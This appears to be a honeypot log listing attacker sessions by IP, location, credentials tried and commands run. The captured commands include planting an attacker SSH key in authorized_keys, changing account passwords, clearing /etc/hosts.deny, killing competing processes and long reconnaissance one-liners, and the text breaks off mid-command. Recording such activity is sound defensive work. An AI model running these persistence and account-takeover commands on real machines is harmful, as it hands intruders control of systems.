$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "validator\nAvel5opDUlMf\nAvel5opDUlMf"|passwd|bash
$ Enter new UNIX password:
$ echo "validator\nAvel5opDUlMf\nAvel5opDUlMf\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ stoic_eagle_sol (165.232.54.128) โ€” Santa Clara, United States ยท 1 session ยท 20 cmds
2026-08-21 11:56 EDT ยท as validator/validator
cd ~; chattr -ia .ssh; lockr -ia .ssh โ†’ cd ~ && rm -rf .ssh && mkdir .ssh โ†’ echo "ssh-rsa..." โ†’ cat /proc/cpuinfo | grep name | wc -l โ†’ echo -e "validator\nPj5TJScQdaVb\nPj5TJScQdaVb"|passwd|
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "validator\nPj5TJScQdaVb\nPj5TJScQdaVb"|passwd|bash
$ Enter new UNIX password:
$ echo "validator\nPj5TJScQdaVb\nPj5TJScQdaVb\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ sneaky_kudu_root (41.181.156.205) โ€” Germiston, South Africa ยท 1 session ยท 19 cmds
2026-08-21 11:05 EDT ยท as root/pass123
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling โ†’ execute from /tmp โ†’ persistence setup
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo "root:T3sANlX05EuA"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
โ†ณ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ hollow_monsoon_root (163.223.191.2) โ€” Hyderabad, India ยท 1 session ยท 2 cmds
2026-08-21 07:01 EDT ยท as oracle/oracle
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ rogue_orchid_root (35.187.231.181) โ€” Singapore, Singapore ยท 43 sessions ยท 43 cmds
2026-07-13 23:27 EDT ยท as admin/123456, admin/admin, admin/password
echo (repeated echo 7x)
$ echo SHELL_TEST ร—43
๐ŸŽญ unhinged_burger_root (92.118.39.71) โ€” Dallas, United States ยท 170 sessions ยท 1505 cmds
2026-06-26 11:25 EDT ยท as admin/123456, admin/admin, admin/admin123
Export PATH modification โ†’ OS fingerprinting via uname -s -v -n -m โ†’ kernel version extraction from /proc/version โ†’ OS detection via /etc/os-release โ†’ uptime check for system stability assessment.
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' "$out" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ร—136
โ†ณ make executable
$ uname -s -v -n -m 2 > /dev/null ร—170
$ /bin/uname -s -v -n -m 2 > /dev/null ร—165
$ /usr/bin/uname -s -v -n -m 2 > /dev/null ร—165
$ busybox uname -s -v -n -m 2 > /dev/null ร—165
$ ( [ -f /proc/version ] ร—165
$ [ -f /proc/version ] ร—165
$ head -1 /proc/version | cut -d -f1 ร—165
$ [ -f /etc/os-release ] ร—165
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E "model name|Hardware" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep "Model name"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ร—16
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E "model name|Hardware" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep "Model name"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output" ร—13
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" ร—5
$ uname -m 2 > /dev/null ร—5
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 ร—5
๐ŸŽญ clandestine_junk_sol (156.239.238.244) โ€” Hong Kong, Hong Kong ยท 1 session ยท 1 cmd
2026-08-21 04:09 EDT ยท as user/password
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a 2>/dev/null || echo 'Unknown'
๐ŸŽญ obsidian_bistro_root (51.210.100.146) โ€” Gravelines, France ยท 1 session ยท 1 cmd
2026-08-21 03:32 EDT ยท as root/toor
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a 2>/dev/null || echo 'Unknown'
๐ŸŽญ stoic_cyrus_root (185.7.172.105) โ€” Tehran, Iran ยท 1 session ยท 1 cmd
2026-08-21 03:13 EDT ยท as guest/guest
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a 2>/dev/null || echo 'Unknown'
๐ŸŽญ restless_kimchi_root (1.255.171.167) โ€” Changwon, South Korea ยท 2 sessions ยท 18 cmds
2026-07-19 23:29 EDT ยท as root/root
root/root login โ†’ /ip cloud print (XRP Ledger check) โ†’ ifconfig (network interface audit) โ†’ uname -a (OS fingerprinting) โ†’ cat /proc/cpuinfo (CPU architecture profiling) โ†’ ps | grep '[Mm]iner' & ps -ef | grep '[Mm]iner' (cryptominer process detection) โ†’ ls -la ~/.local/share/Telegram
$ /ip cloud print ร—2
$ ifconfig ร—2
โ†ณ network mapping
$ uname -a ร—2
โ†ณ OS/kernel identification
$ cat /proc/cpuinfo ร—2
โ†ณ CPU profiling
$ ps | grep '[Mm]iner' ร—2
$ ps -ef | grep '[Mm]iner' ร—2
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/* ร—2
$ locate D877F783D5D3EF8Cs ร—2
$ echo Hi | cat -n ร—2
๐ŸŽญ restless_rosewater_sol (185.126.202.147) โ€” Tehran, Iran ยท 1 session ยท 1 cmd
2026-08-21 02:34 EDT ยท as ubuntu/ubuntu
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a 2>/dev/null || echo 'Unknown'
๐ŸŽญ wired_autobahn_root_167 (51.68.181.167) โ€” Limburg an der Lahn, Germany ยท 1 session ยท 1 cmd
2026-08-21 01:43 EDT ยท as oracle/oracle
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a 2>/dev/null || echo 'Unknown'
๐ŸŽญ crimson_blitz_sol (31.70.80.107) โ€” Berlin, Germany ยท 1 session ยท 1 cmd
2026-08-21 00:58 EDT ยท as root/qwerty
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a 2>/dev/null || echo 'Unknown'
๐ŸŽญ zealous_oolong_sol (59.120.178.166) โ€” Guishan, Taiwan ยท 1 session ยท 1 cmd
2026-08-21 00:49 EDT ยท as root/12345678
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a 2>/dev/null || echo 'Unknown'
๐ŸŽญ lurking_bistro_root (137.74.114.131) โ€” Gravelines, France ยท 1 session ยท 2 cmds
2026-08-21 00:49 EDT ยท as oracle/root123
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ listless_muay_root (110.49.76.244) โ€” Bang Bon, Thailand ยท 1 session ยท 2 cmds
2026-08-21 00:44 EDT ยท as oracle/1qaz2wsx
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ vapor_star_sol (155.94.142.85) โ€” Los Angeles, United States ยท 1 session ยท 1 cmd
2026-08-21 00:37 EDT ยท as admin/admin123
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a 2>/dev/null || echo 'Unknown'
๐ŸŽญ sullen_moose_sol (144.217.79.205) โ€” Beauharnois, Canada ยท 1 session ยท 1 cmd
2026-08-21 00:34 EDT ยท as admin/123456
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a 2>/dev/null || echo 'Unknown'
๐ŸŽญ placid_ghost_root (195.178.110.227) โ€” Andorra la Vella, Andorra ยท 161 sessions ยท 1409 cmds
2026-06-25 08:10 EDT ยท as admin/123456, admin/admin, admin/admin123
PATH injection via export โ†’ OS fingerprinting via uname -s -v -n -m โ†’ kernel version extraction from /proc/version โ†’ OS release detection via /etc/os-release โ†’ hardware audit completion without privilege escalation or persistence attempts.
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' "$out" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ร—119
โ†ณ make executable
$ uname -s -v -n -m 2 > /dev/null ร—161
$ /bin/uname -s -v -n -m 2 > /dev/null ร—153
$ /usr/bin/uname -s -v -n -m 2 > /dev/null ร—153
$ busybox uname -s -v -n -m 2 > /dev/null ร—153
$ ( [ -f /proc/version ] ร—153
$ [ -f /proc/version ] ร—153
$ head -1 /proc/version | cut -d -f1 ร—153
$ [ -f /etc/os-release ] ร—153
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 